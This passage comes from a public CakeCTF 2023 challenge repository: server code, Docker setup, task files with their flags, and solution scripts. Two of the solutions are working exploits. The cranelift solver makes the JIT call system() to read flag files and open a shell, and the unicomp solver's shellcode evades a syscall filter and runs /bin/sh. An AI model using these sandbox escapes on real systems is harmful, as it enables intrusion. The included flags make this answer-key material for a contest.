random.randint(_sage_const_1 , _sage_const_3 ) 40 | C, r = commit(M, yoshiking_hand) 41 | print("[yoshiking]: my commitment is={}".format(C.list())) 42 | 43 | hand = input("[system]: your hand(1-3): ") 44 | print("") 45 | try: 46 | hand = int(hand) 47 | if not (_sage_const_1 <= hand <= _sage_const_3 ): 48 | raise ValueError() 49 | except ValueError: 50 | print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(") 51 | exit() 52 | 53 | print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand])) 54 | print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand])) 55 | result = (yoshiking_hand - hand + _sage_const_3 ) % _sage_const_3 56 | if result == _sage_const_0 : 57 | print("[yoshiking]: Draw, draw, draw!!!") 58 | elif result == _sage_const_1 : 59 | print("[yoshiking]: Yo! You win!!! Ho!") 60 | wins += _sage_const_1 61 | print("[system]: wins: {}".format(wins)) 62 | 63 | if wins >= _sage_const_100 : 64 | break 65 | elif result == _sage_const_2 : 66 | print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!") 67 | print("[yoshiking]: You, good loser!") 68 | print("[system]: you can check that yoshiking doesn't cheat") 69 | print("[system]: here's the secret value: {}".format(r)) 70 | exit() 71 | 72 | print("[yoshiking]: Wow! You are the king of roshambo!") 73 | print("[yoshiking]: suge- flag ageru") 74 | print(flag) 75 | 76 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/solution/solve.sage: -------------------------------------------------------------------------------- 1 | from ptrlib import Socket 2 | import ast 3 | import re 4 | 5 | sock = Socket("localhost", 10555) 6 | _ = sock.recvline() 7 | line = sock.recvline().decode() 8 | p, M = re.findall(r"p: (\d+), and M: (.+)", line)[0] 9 | p = int(p) 10 | F = GF(p) 11 | M = ast.literal_eval(M) 12 | M = matrix(F, 5, 5, M) 13 | o = M.det().multiplicative_order() 14 | 15 | 16 | for _ in range(100): 17 | C = ast.literal_eval(sock.recvlineafter(r"commitment is=").decode()) 18 | C = matrix(F, 5, 5, C) 19 | 20 | md = M.det() 21 | cd = C.det() 22 | x = discrete_log(cd, md) 23 | yoshiking_hand = x % 3 24 | hand = [3,1,2][yoshiking_hand] 25 | 26 | sock.sendlineafter("hand(1-3): ", str(hand)) 27 | print(sock.recvlineafter("[system]").decode().strip()) 28 | 29 | sock.interactive() 30 | 31 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/solution/solve.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file solve.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_10555 = Integer(10555); _sage_const_0 = Integer(0); _sage_const_5 = Integer(5); _sage_const_100 = Integer(100); _sage_const_3 = Integer(3); _sage_const_1 = Integer(1); _sage_const_2 = Integer(2) 7 | from ptrlib import Socket 8 | import ast 9 | import re 10 | 11 | sock = Socket("localhost", _sage_const_10555 ) 12 | _ = sock.recvline() 13 | line = sock.recvline().decode() 14 | p, M = re.findall(r"p: (\d+), and M: (.+)", line)[_sage_const_0 ] 15 | p = int(p) 16 | F = GF(p) 17 | M = ast.literal_eval(M) 18 | M = matrix(F, _sage_const_5 , _sage_const_5 , M) 19 | o = M.det().multiplicative_order() 20 | 21 | 22 | for _ in range(_sage_const_100 ): 23 | C = ast.literal_eval(sock.recvlineafter(r"commitment is=").decode()) 24 | C = matrix(F, _sage_const_5 , _sage_const_5 , C) 25 | 26 | md = M.det() 27 | cd = C.det() 28 | x = discrete_log(cd, md) 29 | yoshiking_hand = x % _sage_const_3 30 | hand = [_sage_const_3 ,_sage_const_1 ,_sage_const_2 ][yoshiking_hand] 31 | 32 | sock.sendlineafter("hand(1-3): ", str(hand)) 33 | print(sock.recvlineafter("[system]").decode().strip()) 34 | 35 | sock.interactive() 36 | 37 | 38 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/solve.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file solve.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_5 = Integer(5); _sage_const_100 = Integer(100); _sage_const_3 = Integer(3); _sage_const_1 = Integer(1); _sage_const_2 = Integer(2) 7 | from ptrlib import Socket, Process 8 | import ast 9 | 10 | # sock = Socket("localhost", 9999) 11 | sock = Process(["sage", "./poc.sage"]) 12 | p, M = sock.recvregex(r"p: (\d+), and M: (.+)") 13 | p = int(p) 14 | F = GF(p) 15 | M = ast.literal_eval(M.decode()) 16 | M = matrix(F, _sage_const_5 , _sage_const_5 , M) 17 | o = M.det().multiplicative_order() 18 | 19 | 20 | for _ in range(_sage_const_100 ): 21 | C = ast.literal_eval(sock.recvlineafter(r"commitment is=").decode()) 22 | C = matrix(F, _sage_const_5 , _sage_const_5 , C) 23 | 24 | md = M.det() 25 | cd = C.det() 26 | x = discrete_log(cd, md) 27 | yoshiking_hand = x % _sage_const_3 28 | hand = [_sage_const_3 ,_sage_const_1 ,_sage_const_2 ][yoshiking_hand] 29 | 30 | sock.sendlineafter("hand(1-3): ", str(hand)) 31 | print(sock.recvlineafter("[system]").decode().strip()) 32 | 33 | sock.interactive() 34 | 35 | 36 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: janken vs yoshiking 2 3 | description: > 4 | the newest version of janken-vs series is coming! 5 | nc {host} {port} 6 | flag: "CakeCTF{though_yoshiking_may_die_janken_will_never_perish}" 7 | author: theoremoon 8 | host: crypto.2023.cakectf.com 9 | port: 10555 10 | tags: 11 | - crypto 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /crypto/simple_signature/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | RUN pip install pycryptodome 7 | ADD challenge/server.py server.py 8 | 9 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py" 10 | -------------------------------------------------------------------------------- /crypto/simple_signature/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | rm -rf distfiles 4 | mkdir -p distfiles 5 | cp challenge/server.py distfiles/ 6 | 7 | .PHONY: clean 8 | clean: 9 | rm -rf distfiles 10 | -------------------------------------------------------------------------------- /crypto/simple_signature/challenge/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from hashlib import sha512 4 | from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD 5 | import signal 6 | 7 | 8 | flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") 9 | 10 | p = getStrongPrime(512) 11 | g = 2 12 | 13 | 14 | def keygen(): 15 | while True: 16 | x = getRandomRange(2, p-1) 17 | y = getRandomRange(2, p-1) 18 | w = getRandomRange(2, p-1) 19 | 20 | v = w * y % (p-1) 21 | if GCD(v, p-1) != 1: 22 | continue 23 | u = (w * x - 1) * inverse(v, p-1) % (p-1) 24 | return (x, y, u), (w, v) 25 | 26 | 27 | def sign(m, key): 28 | x, y, u = key 29 | r = getRandomRange(2, p-1) 30 | 31 | return pow(g, x*m + r*y, p), pow(g, u*m + r, p) 32 | 33 | 34 | def verify(m, sig, key): 35 | w, v = key 36 | s, t = sig 37 | 38 | return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p 39 | 40 | 41 | def h(m): 42 | return int(sha512(m.encode()).hexdigest(), 16) 43 | 44 | 45 | if __name__ == '__main__': 46 | magic_word = "cake_does_not_eat_cat" 47 | skey, vkey = keygen() 48 | 49 | print(f"p = {p}") 50 | print(f"g = {g}") 51 | print(f"vkey = {vkey}") 52 | 53 | signal.alarm(1000) 54 | 55 | while True: 56 | choice = input("[S]ign, [V]erify: ").strip() 57 | if choice == "S": 58 | message = input("message: ").strip() 59 | assert message != magic_word 60 | 61 | sig = sign(h(message), skey) 62 | print(f"(s, t) = {sig}") 63 | 64 | elif choice == "V": 65 | message = input("message: ").strip() 66 | s = int(input("s: ").strip()) 67 | t = int(input("t: ").strip()) 68 | 69 | assert 2 <= s < p 70 | assert 2 <= t < p 71 | 72 | if not verify(h(message), (s, t), vkey): 73 | print("invalid signature") 74 | continue 75 | 76 | print("verified") 77 | if message == magic_word: 78 | print(f"flag = {flag}") 79 | sys.exit(0) 80 | 81 | else: 82 | break 83 | -------------------------------------------------------------------------------- /crypto/simple_signature/distfiles/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from hashlib import sha512 4 | from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD 5 | import signal 6 | 7 | 8 | flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") 9 | 10 | p = getStrongPrime(512) 11 | g = 2 12 | 13 | 14 | def keygen(): 15 | while True: 16 | x = getRandomRange(2, p-1) 17 | y = getRandomRange(2, p-1) 18 | w = getRandomRange(2, p-1) 19 | 20 | v = w * y % (p-1) 21 | if GCD(v, p-1) != 1: 22 | continue 23 | u = (w * x - 1) * inverse(v, p-1) % (p-1) 24 | return (x, y, u), (w, v) 25 | 26 | 27 | def sign(m, key): 28 | x, y, u = key 29 | r = getRandomRange(2, p-1) 30 | 31 | return pow(g, x*m + r*y, p), pow(g, u*m + r, p) 32 | 33 | 34 | def verify(m, sig, key): 35 | w, v = key 36 | s, t = sig 37 | 38 | return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p 39 | 40 | 41 | def h(m): 42 | return int(sha512(m.encode()).hexdigest(), 16) 43 | 44 | 45 | if __name__ == '__main__': 46 | magic_word = "cake_does_not_eat_cat" 47 | skey, vkey = keygen() 48 | 49 | print(f"p = {p}") 50 | print(f"g = {g}") 51 | print(f"vkey = {vkey}") 52 | 53 | signal.alarm(1000) 54 | 55 | while True: 56 | choice = input("[S]ign, [V]erify: ").strip() 57 | if choice == "S": 58 | message = input("message: ").strip() 59 | assert message != magic_word 60 | 61 | sig = sign(h(message), skey) 62 | print(f"(s, t) = {sig}") 63 | 64 | elif choice == "V": 65 | message = input("message: ").strip() 66 | s = int(input("s: ").strip()) 67 | t = int(input("t: ").strip()) 68 | 69 | assert 2 <= s < p 70 | assert 2 <= t < p 71 | 72 | if not verify(h(message), (s, t), vkey): 73 | print("invalid signature") 74 | continue 75 | 76 | print("verified") 77 | if message == magic_word: 78 | print(f"flag = {flag}") 79 | sys.exit(0) 80 | 81 | else: 82 | break 83 | -------------------------------------------------------------------------------- /crypto/simple_signature/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | simple_signature: 4 | build: ./ 5 | ports: 6 | - 10444:9999 7 | environment: 8 | FLAG: "CakeCTF{does_yoshiking_eat_cake_or_cat?}" 9 | restart: unless-stopped 10 | -------------------------------------------------------------------------------- /crypto/simple_signature/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import Socket 2 | from hashlib import sha512 3 | import ast 4 | 5 | 6 | def h(m): 7 | return int(sha512(m.encode()).hexdigest(), 16) 8 | 9 | 10 | sock = Socket("localhost", 10444) 11 | p = int(sock.recvlineafter("p = ")) 12 | g = 2 13 | w, v = ast.literal_eval(sock.recvlineafter("vkey = ").decode().strip()) 14 | 15 | magic_word = "cake_does_not_eat_cat" 16 | m = h(magic_word) 17 | 18 | # find one solution of aw - bv = m 19 | a = 10 20 | b = (a*w - m) * pow(v, -1, p-1) % (p-1) 21 | 22 | s = pow(g, a, p) 23 | t = pow(g, b, p) 24 | 25 | sock.sendlineafter("erify: ", "V") 26 | sock.sendlineafter("message: ", magic_word) 27 | sock.sendlineafter("s: ", str(s)) 28 | sock.sendlineafter("t: ", str(t)) 29 | 30 | sock.interactive() 31 | -------------------------------------------------------------------------------- /crypto/simple_signature/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: simple signature 3 | description: > 4 | It must be a piece of cake. 5 | nc {host} {port} 6 | flag: "CakeCTF{does_yoshiking_eat_cake_or_cat?}" 7 | author: theoremoon 8 | host: crypto.2023.cakectf.com 9 | port: 10444 10 | tags: 11 | - crypto 12 | - warmup 13 | is_survey: false 14 | -------------------------------------------------------------------------------- /misc/cranelift/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim@sha256:08a6a1666ddebe94becbec1986235cb8c321d2f7a7fd00f614befba5c1f23e67 AS base 2 | WORKDIR /app 3 | COPY distfiles/run.py run 4 | COPY distfiles/toy toy 5 | COPY challenge/flag.txt /flag.txt 6 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 7 | 8 | FROM pwn.red/jail 9 | COPY --from=base / /srv 10 | ENV JAIL_TIME=60 JAIL_CPU=500 JAIL_MEM=20M JAIL_TMP_SIZE=8192 11 | -------------------------------------------------------------------------------- /misc/cranelift/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll} 2 | -------------------------------------------------------------------------------- /misc/cranelift/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim@sha256:08a6a1666ddebe94becbec1986235cb8c321d2f7a7fd00f614befba5c1f23e67 AS base 2 | WORKDIR /app 3 | COPY run.py run 4 | COPY toy toy 5 | RUN echo "FLAG{*** REDACTED ***}" > /flag.txt 6 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 7 | 8 | FROM pwn.red/jail 9 | COPY --from=base / /srv 10 | ENV JAIL_TIME=60 JAIL_CPU=500 JAIL_MEM=20M JAIL_TMP_SIZE=8192 11 | -------------------------------------------------------------------------------- /misc/cranelift/distfiles/README.md: -------------------------------------------------------------------------------- 1 | Repository: [cranelift-jit-demo](https://github.com/bytecodealliance/cranelift-jit-demo) 2 | Commit: `e435835efbd7636bca230a3434d1d586587b378b` 3 | -------------------------------------------------------------------------------- /misc/cranelift/distfiles/cranejit.diff: -------------------------------------------------------------------------------- 1 | diff --git a/src/bin/toy.rs b/src/bin/toy.rs 2 | index a12bace..fff0965 100644 3 | --- a/src/bin/toy.rs 4 | +++ b/src/bin/toy.rs 5 | @@ -1,37 +1,18 @@ 6 | +use std::fs; 7 | +use std::env; 8 | use core::mem; 9 | use cranelift_jit_demo::jit; 10 | 11 | -fn main() -> Result<(), String> { 12 | +fn main() { 13 | // Create the JIT instance, which manages all generated functions and data. 14 | let mut jit = jit::JIT::default(); 15 | - println!("the answer is: {}", run_foo(&mut jit)?); 16 | - println!( 17 | - "recursive_fib(10) = {}", 18 | - run_recursive_fib_code(&mut jit, 10)? 19 | - ); 20 | - println!( 21 | - "iterative_fib(10) = {}", 22 | - run_iterative_fib_code(&mut jit, 10)? 23 | - ); 24 | - run_hello(&mut jit)?; 25 | - Ok(()) 26 | -} 27 | - 28 | -fn run_foo(jit: &mut jit::JIT) -> Result { 29 | - unsafe { run_code(jit, FOO_CODE, (1, 0)) } 30 | -} 31 | - 32 | -fn run_recursive_fib_code(jit: &mut jit::JIT, input: isize) -> Result { 33 | - unsafe { run_code(jit, RECURSIVE_FIB_CODE, input) } 34 | -} 35 | - 36 | -fn run_iterative_fib_code(jit: &mut jit::JIT, input: isize) -> Result { 37 | - unsafe { run_code(jit, ITERATIVE_FIB_CODE, input) } 38 | -} 39 | - 40 | -fn run_hello(jit: &mut jit::JIT) -> Result { 41 | - jit.create_data("hello_string", "hello world!\0".as_bytes().to_vec())?; 42 | - unsafe { run_code(jit, HELLO_CODE, ()) } 43 | + let args: Vec = env::args().collect(); 44 | + if args.len() < 2 { 45 | + println!("Usage: toy "); 46 | + return; 47 | + } 48 | + let code = fs::read_to_string(&args[1]).unwrap(); 49 | + let _r: bool = unsafe { run_code(&mut jit, &code, ()).unwrap() }; 50 | } 51 | 52 | /// Executes the given code using the cranelift JIT compiler. 53 | @@ -52,66 +33,3 @@ unsafe fn run_code(jit: &mut jit::JIT, code: &str, input: I) -> Result (c) { 66 | - c = if a { 67 | - if b { 68 | - 30 69 | - } else { 70 | - 40 71 | - } 72 | - } else { 73 | - 50 74 | - } 75 | - c = c + 2 76 | - } 77 | -"#; 78 | - 79 | -/// Another example: Recursive fibonacci. 80 | -const RECURSIVE_FIB_CODE: &str = r#" 81 | - fn recursive_fib(n) -> (r) { 82 | - r = if n == 0 { 83 | - 0 84 | - } else { 85 | - if n == 1 { 86 | - 1 87 | - } else { 88 | - recursive_fib(n - 1) + recursive_fib(n - 2) 89 | - } 90 | - } 91 | - } 92 | -"#; 93 | - 94 | -/// Another example: Iterative fibonacci. 95 | -const ITERATIVE_FIB_CODE: &str = r#" 96 | - fn iterative_fib(n) -> (r) { 97 | - if n == 0 { 98 | - r = 0 99 | - } else { 100 | - n = n - 1 101 | - a = 0 102 | - r = 1 103 | - while n != 0 { 104 | - t = r 105 | - r = r + a 106 | - a = t 107 | - n = n - 1 108 | - } 109 | - } 110 | - } 111 | -"#; 112 | - 113 | -/// Let's say hello, by calling into libc. The puts function is resolved by 114 | -/// dlsym to the libc function, and the string &hello_string is defined below. 115 | -const HELLO_CODE: &str = r#" 116 | -fn hello() -> (r) { 117 | - puts(&hello_string) 118 | -} 119 | -"#; 120 | -------------------------------------------------------------------------------- /misc/cranelift/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dist_cranelift: 4 | build: . 5 | ports: 6 | - "9002:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /misc/cranelift/distfiles/run.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import subprocess 3 | import tempfile 4 | 5 | if __name__ == '__main__': 6 | print("Enter your code (End with '__EOF__\\n')") 7 | code = '' 8 | while True: 9 | line = input() 10 | if line == '__EOF__': 11 | break 12 | code += line + "\n" 13 | 14 | with tempfile.NamedTemporaryFile('w') as f: 15 | f.write(code) 16 | f.flush() 17 | 18 | p = subprocess.Popen(["./toy", f.name], 19 | stdin=subprocess.PIPE, 20 | stdout=subprocess.PIPE, 21 | stderr=subprocess.PIPE) 22 | result = p.communicate() 23 | print(result[0].decode()) 24 | print("[+] Done.") 25 | -------------------------------------------------------------------------------- /misc/cranelift/distfiles/toy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/misc/cranelift/distfiles/toy -------------------------------------------------------------------------------- /misc/cranelift/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | cranelift: 4 | build: . 5 | ports: 6 | - "10000:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /misc/cranelift/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", 9002)) 6 | 7 | cmd = "/bin/cat /flag*.txt" 8 | 9 | code = "fn pwn() -> (_) {\n" 10 | code += " x = malloc(100)\n" 11 | for i, c in enumerate(cmd): 12 | code += f" memset(x+{i}, {ord(c)}, 1)\n" 13 | code += f" memset(x+{i+1}, 0, 1)\n" 14 | code += " system(x)\n" 15 | code += "}" 16 | 17 | #sock = Process("./run.py", cwd="../distfiles") 18 | sock = Socket(HOST, PORT) 19 | 20 | print(code) 21 | sock.sendline(code) 22 | sock.sendline("__EOF__") 23 | 24 | sock.sh() 25 | -------------------------------------------------------------------------------- /misc/cranelift/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "cranelift" 3 | description: > 4 |

👀 JIT engine written in Rust?

5 | nc {host} {port} 6 | flag: "CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll}" 7 | author: ptr-yudai 8 | host: others.2023.cakectf.com 9 | port: 10000 10 | tags: 11 | - sandbox 12 | -------------------------------------------------------------------------------- /misc/unicomp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim@sha256:08a6a1666ddebe94becbec1986235cb8c321d2f7a7fd00f614befba5c1f23e67 AS base 2 | RUN pip install unicorn 3 | WORKDIR /app 4 | COPY distfiles/sandbox.py run 5 | COPY challenge/flag.txt /flag.txt 6 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 7 | 8 | FROM pwn.red/jail 9 | COPY --from=base / /srv 10 | ENV JAIL_TIME=60 JAIL_CPU=500 JAIL_MEM=20M JAIL_TMP_SIZE=8192 11 | -------------------------------------------------------------------------------- /misc/unicomp/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{x86-64_a1l0ws_1ns7ruct10n_t0_b3_inf1nit3Ly_l0ng} 2 | -------------------------------------------------------------------------------- /misc/unicomp/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim@sha256:08a6a1666ddebe94becbec1986235cb8c321d2f7a7fd00f614befba5c1f23e67 AS base 2 | RUN pip install unicorn 3 | WORKDIR /app 4 | COPY sandbox.py run 5 | RUN echo "FakeCTF{*** REDACTED ***}" > /flag.txt 6 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 7 | 8 | FROM pwn.red/jail 9 | COPY --from=base / /srv 10 | ENV JAIL_TIME=60 JAIL_CPU=500 JAIL_MEM=20M JAIL_TMP_SIZE=8192 11 | -------------------------------------------------------------------------------- /misc/unicomp/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dist_unicomp: 4 | build: . 5 | ports: 6 | - "10001:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /misc/unicomp/distfiles/sandbox.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import ctypes 3 | from unicorn import * 4 | from unicorn.x86_const import * 5 | 6 | libc = ctypes.CDLL(None) 7 | LOAD_ADDR, CODE_SIZE = 0x555555554000, 0x10000 8 | STACK_ADDR, STACK_SIZE = 0x7ffffffdd000, 0x22000 9 | 10 | def emu_syscall(mu, _user_data): 11 | ret = libc.syscall( 12 | mu.reg_read(UC_X86_REG_RAX), 13 | mu.reg_read(UC_X86_REG_RDI), mu.reg_read(UC_X86_REG_RSI), 14 | mu.reg_read(UC_X86_REG_RDX), mu.reg_read(UC_X86_REG_R10), 15 | mu.reg_read(UC_X86_REG_R8) , mu.reg_read(UC_X86_REG_R9), 16 | ) 17 | mu.reg_write(UC_X86_REG_RAX, ret) 18 | 19 | def chk_syscall(mu, addr, size, _user_data): 20 | insn = mu.mem_read(addr, size) 21 | if insn == bytearray(b'\x0f\x05'): # syscall 22 | sys_num = mu.reg_read(UC_X86_REG_RAX) 23 | if sys_num != 60: 24 | print(f"[-] System call not allowed: {sys_num}") 25 | mu.emu_stop() 26 | 27 | def emulate(code): 28 | assert len(code) <= CODE_SIZE, "Too long shellcode" 29 | mu = Uc(UC_ARCH_X86, UC_MODE_64) 30 | # Map code memory 31 | mu.mem_map(LOAD_ADDR, CODE_SIZE, UC_PROT_READ | UC_PROT_EXEC) 32 | mu.mem_write(LOAD_ADDR, code) 33 | # Map stack memory 34 | mu.mem_map(STACK_ADDR, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE) 35 | mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + STACK_SIZE) 36 | # Set hook 37 | mu.hook_add(UC_HOOK_CODE, chk_syscall) 38 | mu.hook_add(UC_HOOK_INSN, emu_syscall, None, 1, 0, UC_X86_INS_SYSCALL) 39 | # Start emulation 40 | try: 41 | mu.emu_start(LOAD_ADDR, LOAD_ADDR + len(code), UC_SECOND_SCALE*3) 42 | except UcError: 43 | print("[-] Segmentation fault") 44 | 45 | if __name__ == '__main__': 46 | emulate(bytes.fromhex(input("shellcode: "))) 47 | -------------------------------------------------------------------------------- /misc/unicomp/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | unicomp: 4 | build: . 5 | ports: 6 | - "10001:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /misc/unicomp/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", 10001)) 6 | 7 | code = nasm(""" 8 | ; p = mmap(0x77770000, 0x1000, RWX, ..., -1, 0); 9 | xor r9d, r9d 10 | mov r8, -1 11 | mov r10, 0x22 12 | mov edx, 7 13 | mov esi, 0x1000 14 | mov edi, 0x77770000 15 | mov eax, 9 16 | fs syscall 17 | 18 | ; read(0, p, 8); 19 | mov edx, 8 20 | mov rsi, rax 21 | xor edi, edi 22 | xor eax, eax 23 | fs syscall 24 | 25 | ; execve("/bin/sh", NULL, NULL); 26 | xor edx, edx 27 | xor esi, esi 28 | mov edi, 0x77770000 29 | mov eax, 59 30 | fs syscall 31 | 32 | ; exit(0); 33 | xor edi, edi 34 | mov eax, 60 35 | syscall 36 | """, bits=64) 37 | 38 | #sock = Process(["python", "./sandbox.py"], cwd="../distfiles") 39 | sock = Socket(HOST, PORT) 40 | 41 | sock.sendlineafter("shellcode: ", code.hex()) 42 | time.sleep(1) 43 | sock.send("/bin/sh\0") 44 | 45 | sock.sh() 46 | -------------------------------------------------------------------------------- /misc/unicomp/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "unicomp" 3 | description: > 4 |

"unicomp" is seccomp based on unicorn emulator.

5 | nc {host} {port} 6 | flag: "CakeCTF{x86-64_a1l0ws_1ns7ruct10n_t0_b3_inf1nit3Ly_l0ng}" 7 | author: ptr-yudai 8 | host: others.2023.cakectf.com 9 | port: 10001 10 | tags: 11 | - sandbox 12 | -------------------------------------------------------------------------------- /misc/wordtower/challenge/blocks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/misc/wordtower/challenge/blocks.png -------------------------------------------------------------------------------- /misc/wordtower/challenge/flag.py: -------------------------------------------------------------------------------- 1 | key = 0x223620 2 | flag = b"CakeCTF{wow_you_know_a_lot_of_animals}" 3 | 4 | for i in range(len(flag) - 4): 5 | v = int.from_bytes(flag[i:i+4], 'little') 6 | v ^= key 7 | key += 0x3776 8 | flag = flag[:i] + int.to_bytes(v, 4, 'little') + flag[i+4:] 9 | 10 | print(list(flag)) 11 | print(len(flag)) 12 | 13 | key = 0x223620 14 | 15 | for i in range(len(flag) - 4): 16 | v = int.from_bytes(flag[i:i+4], 'little') 17 | v ^= key 18 | key += 0x3776 19 | flag = flag[:i] + int.to_bytes(v, 4, 'little') + flag[i+4:] 20 | 21 | print(flag) 22 | -------------------------------------------------------------------------------- /misc/wordtower/challenge/gen.py: -------------------------------------------------------------------------------- 1 | anim = [ 2 | "Aardvark", 3 | "Albatross", 4 | "Alligator", 5 | "Alpaca", 6 | "Ant", 7 | "Anteater", 8 | "Antelope", 9 | "Ape", 10 | "Armadillo", 11 | "Donkey", 12 | "Baboon", 13 | "Badger", 14 | "Barracuda", 15 | "Bat", 16 | "Bear", 17 | "Beaver", 18 | "Bee", 19 | "Bison", 20 | "Boar", 21 | "Buffalo", 22 | "Butterfly", 23 | "Camel", 24 | "Capybara", 25 | "Caribou", 26 | "Cassowary", 27 | "Cat", 28 | "Caterpillar", 29 | "Cattle", 30 | "Chamois", 31 | "Cheetah", 32 | "Chicken", 33 | "Chimpanzee", 34 | "Chinchilla", 35 | "Chough", 36 | "Clam", 37 | "Cobra", 38 | "Cockroach", 39 | "Cod", 40 | "Cormorant", 41 | "Coyote", 42 | "Crab", 43 | "Crane", 44 | "Crocodile", 45 | "Crow", 46 | "Curlew", 47 | "Deer", 48 | "Dinosaur", 49 | "Dog", 50 | "Dogfish", 51 | "Dolphin", 52 | "Dotterel", 53 | "Dove", 54 | "Dragonfly", 55 | "Duck", 56 | "Dugong", 57 | "Dunlin", 58 | "Eagle", 59 | "Echidna", 60 | "Eel", 61 | "Eland", 62 | "Elephant", 63 | "Elk", 64 | "Emu", 65 | "Falcon", 66 | "Ferret", 67 | "Finch", 68 | "Fish", 69 | "Flamingo", 70 | "Fly", 71 | "Fox", 72 | "Frog", 73 | "Gaur", 74 | "Gazelle", 75 | "Gerbil", 76 | "Giraffe", 77 | "Gnat", 78 | "Gnu", 79 | "Goat", 80 | "Goldfinch", 81 | "Goldfish", 82 | "Goose", 83 | "Gorilla", 84 | "Goshawk", 85 | "Grasshopper", 86 | "Grouse", 87 | "Guanaco", 88 | "Gull", 89 | "Hamster", 90 | "Hare", 91 | "Hawk", 92 | "Hedgehog", 93 | "Heron", 94 | "Herring", 95 | "Hippopotamus", 96 | "Hornet", 97 | "Horse", 98 | "Human", 99 | "Hummingbird", 100 | "Hyena", 101 | "Ibex", 102 | "Ibis", 103 | "Jackal", 104 | "Jaguar", 105 | "Jay", 106 | "Jellyfish", 107 | "Kangaroo", 108 | "Kingfisher", 109 | "Koala", 110 | "Kookabura", 111 | "Kouprey", 112 | "Kudu", 113 | "Lapwing", 114 | "Lark", 115 | "Lemur", 116 | "Leopard", 117 | "Lion", 118 | "Llama", 119 | "Lobster", 120 | "Locust", 121 | "Loris", 122 | "Louse", 123 | "Lyrebird", 124 | "Magpie", 125 | "Mallard", 126 | "Manatee", 127 | "Mandrill", 128 | "Mantis", 129 | "Marten", 130 | "Meerkat", 131 | "Mink", 132 | "Mole", 133 | "Mongoose", 134 | "Monkey", 135 | "Moose", 136 | "Mosquito", 137 | "Mouse", 138 | "Mule", 139 | "Narwhal", 140 | "Newt", 141 | "Nightingale", 142 | "Octopus", 143 | "Okapi", 144 | "Opossum", 145 | "Oryx", 146 | "Ostrich", 147 | "Otter", 148 | "Owl", 149 | "Oyster", 150 | "Panther", 151 | "Parrot", 152 | "Partridge", 153 | "Peafowl", 154 | 